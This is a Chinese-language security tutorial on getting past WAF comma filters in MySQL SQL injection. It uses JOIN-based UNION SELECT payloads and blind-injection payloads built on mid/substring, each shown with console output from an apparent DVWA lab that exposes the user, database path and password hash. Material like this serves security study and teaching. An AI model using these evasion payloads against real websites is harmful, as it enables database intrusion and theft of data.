前言
sql注入在很早很早以前是很常見的一個漏洞。后來隨著安全水平的提高，sql注入已經(jīng)很少能夠看到了。但是就在今天，還有很多網(wǎng)站帶著sql注入漏洞在運行。下面這篇文章主要介紹了關(guān)于SQL注入逗號繞過的相關(guān)內(nèi)容，分享出來供大家參考學(xué)習(xí)，下面話不多說了，來一起看看詳細(xì)的介紹吧
1.聯(lián)合查詢顯注繞過逗號
在聯(lián)合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位，語句中包含了多個逗號，如果有WAF攔截了逗號時，我們的聯(lián)合查詢不能用了。
繞過
在顯示位上替換為常見的注入變量或其它語句
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C）;
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在數(shù)據(jù)庫中演示聯(lián)合查詢
UNION開始是我們在URL中注入的語句，這里只是演示，在實際中如果我們在注入語句中有逗號就可能被攔截
mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)
不出現(xiàn)逗號，使用Join來注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
查詢我們想要的數(shù)據(jù)
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)
2.盲注中逗號繞過
MID 和substr 函數(shù)用于從文本字段中提取字符
mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)
查詢數(shù)據(jù)庫用戶名第一個字符的ascii碼
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
盲注，通過猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)
逗號繞過SUBTTRING 函數(shù)
substring(str FROM pos)
從字符串str的起始位置pos 返回一個子串
mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111，
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)
總結(jié)
以上就是這篇文章的全部內(nèi)容了，希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，如果有疑問大家可以留言交流，謝謝大家對腳本之家的支持。
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